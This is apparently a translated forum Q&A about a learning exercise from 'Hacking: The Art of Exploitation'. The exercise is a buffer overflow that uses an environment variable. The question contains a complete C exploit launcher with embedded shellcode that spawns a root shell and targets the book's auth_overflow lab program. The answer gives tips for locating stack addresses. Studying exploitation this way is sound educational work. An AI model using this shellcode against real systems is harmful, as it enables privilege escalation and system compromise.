2016-04-27 33 views
1

我试图通过“Hacking:开发的艺术”书启发这个代码。它涉及利用环境变量来利用缓冲区溢出。开发代码是:使用环境变量缓冲区溢出

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51" 
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd" 
"\x80"; 

int main(int argc, char *argv[]) { 
    char *env[2] = {shellcode, 0}; 
    unsigned int i, ret; 

    char *buffer = (char *)malloc(160); 

    ret = 0xbffffffa - sizeof(shellcode) - strlen("./auth_overflow"); 

    for (i = 0; i < 160; i += 4) 
    *((unsigned int *)(buffer + i)) = ret; 

    execle("./auth_overflow", "auth_overflow", buffer, (char *)NULL, env); 
    free(buffer); 
} 

问题是基地址0xbffffffa。我读here,这个地址的原因是因为“Linux内核是这样实现的”。该漏洞仍然无法正常工作,导致分段错误。

我是一个64位的机器上运行Ubuntu 14.04与内核版本3.13.0-83-generic,我使用下面的命令编译代码开发:

gcc -m32 -fno-stack-protector -z execstack -g exploit.c -o exploit 

我也禁用ASLR。

有关如何确定此基地址的任何想法?

感谢您的帮助。

回答

1

这种利用的想法是在实际的shellcode之前使用nop sled。那样的话,如果你的地址近似不好,那么有更多的机会点击nop,直到你的shellcode被执行。

要获得该地址,您可以在/proc/<<pid>>/maps中作弊(开始)查看内存映射。

+0

据我记得,这本书说,上述利用有一个优点,它不需要NOP雪橇。 但是,您查看'/ proc/<>/maps'的想法有助于获取当前进程的基础堆栈地址。现在开发工作。 –